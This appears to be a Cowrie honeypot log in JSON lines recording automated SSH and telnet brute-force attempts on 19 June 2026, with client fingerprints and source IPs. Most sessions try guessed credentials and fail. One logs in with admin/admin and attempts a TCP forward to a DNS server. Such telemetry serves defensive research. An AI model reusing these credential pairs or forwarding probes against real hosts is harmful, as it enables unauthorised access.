{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:16.251451Z","src_ip":"176.32.39.21","session":"d8780d9c0ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masseffect","message":"login attempt [root/masseffect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:16.637681Z","src_ip":"176.32.39.21","session":"d8780d9c0ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:17.770629Z","src_ip":"176.32.39.21","session":"d8780d9c0ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60990,"dst_ip":"159.203.135.109","dst_port":23,"session":"1908df5f9909","protocol":"telnet","message":"New connection: 172.81.62.90:60990 (159.203.135.109:23) [session: 1908df5f9909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:22.170930Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":60774,"dst_ip":"10.17.0.5","dst_port":22,"session":"eec3a4b89118","protocol":"ssh","message":"New connection: 160.251.185.39:60774 (10.17.0.5:22) [session: eec3a4b89118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:23.394613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:23.399936Z","src_ip":"160.251.185.39","session":"eec3a4b89118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:23.584979Z","src_ip":"160.251.185.39","session":"eec3a4b89118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:24.361560Z","src_ip":"160.251.185.39","session":"eec3a4b89118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:25.548776Z","src_ip":"160.251.185.39","session":"eec3a4b89118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":55294,"dst_ip":"10.17.0.5","dst_port":22,"session":"074a04b22669","protocol":"ssh","message":"New connection: 14.63.196.175:55294 (10.17.0.5:22) [session: 074a04b22669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:34.574795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:34.579273Z","src_ip":"14.63.196.175","session":"074a04b22669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:34.783332Z","src_ip":"14.63.196.175","session":"074a04b22669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rena","password":"1234","message":"login attempt [rena/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:35.632758Z","src_ip":"14.63.196.175","session":"074a04b22669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:36.840033Z","src_ip":"14.63.196.175","session":"074a04b22669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":54274,"dst_ip":"10.17.0.5","dst_port":22,"session":"68d7778cf333","protocol":"ssh","message":"New connection: 201.17.146.173:54274 (10.17.0.5:22) [session: 68d7778cf333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:47.044119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:47.048994Z","src_ip":"201.17.146.173","session":"68d7778cf333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:47.316134Z","src_ip":"201.17.146.173","session":"68d7778cf333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hospital","password":"hospital123","message":"login attempt [hospital/hospital123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:47.974578Z","src_ip":"201.17.146.173","session":"68d7778cf333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":47684,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9102058960d","protocol":"ssh","message":"New connection: 76.79.213.69:47684 (10.17.0.5:22) [session: a9102058960d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:48.129742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:48.133515Z","src_ip":"76.79.213.69","session":"a9102058960d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:48.255606Z","src_ip":"76.79.213.69","session":"a9102058960d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vasya","password":"vasya","message":"login attempt [vasya/vasya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:48.778148Z","src_ip":"76.79.213.69","session":"a9102058960d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:49.125700Z","src_ip":"201.17.146.173","session":"68d7778cf333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:49.905085Z","src_ip":"76.79.213.69","session":"a9102058960d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50558,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc49dc11c0e9","protocol":"ssh","message":"New connection: 147.45.211.215:50558 (159.203.135.109:22) [session: cc49dc11c0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:50.890230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:50.894573Z","src_ip":"147.45.211.215","session":"cc49dc11c0e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:51.068484Z","src_ip":"147.45.211.215","session":"cc49dc11c0e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23081983","message":"login attempt [root/23081983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:51.594510Z","src_ip":"147.45.211.215","session":"cc49dc11c0e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:52.770663Z","src_ip":"147.45.211.215","session":"cc49dc11c0e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.43132829666138,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:00.602139Z","src_ip":"172.81.62.90","session":"1908df5f9909","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":50068,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4ad4a030bcd","protocol":"ssh","message":"New connection: 5.89.75.194:50068 (10.17.0.5:22) [session: b4ad4a030bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:20.033437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:20.037496Z","src_ip":"5.89.75.194","session":"b4ad4a030bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:20.145601Z","src_ip":"5.89.75.194","session":"b4ad4a030bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin123","message":"login attempt [user/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:20.588261Z","src_ip":"5.89.75.194","session":"b4ad4a030bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:21.693530Z","src_ip":"5.89.75.194","session":"b4ad4a030bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25926,"dst_ip":"10.17.0.5","dst_port":22,"session":"479a33f3fff2","protocol":"ssh","message":"New connection: 87.251.64.176:25926 (10.17.0.5:22) [session: 479a33f3fff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:32.668034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:32.672443Z","src_ip":"87.251.64.176","session":"479a33f3fff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:32.775225Z","src_ip":"87.251.64.176","session":"479a33f3fff2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:33.084689Z","src_ip":"87.251.64.176","session":"479a33f3fff2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:33.190338Z","session":"479a33f3fff2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:33.296854Z","src_ip":"87.251.64.176","session":"479a33f3fff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:33.402675Z","src_ip":"87.251.64.176","session":"479a33f3fff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60028,"dst_ip":"10.17.0.5","dst_port":22,"session":"880b2fbcb1df","protocol":"ssh","message":"New connection: 103.27.238.116:60028 (10.17.0.5:22) [session: 880b2fbcb1df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:42.823473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:03:42.826982Z","src_ip":"103.27.238.116","session":"880b2fbcb1df","protocol":"ssh"}
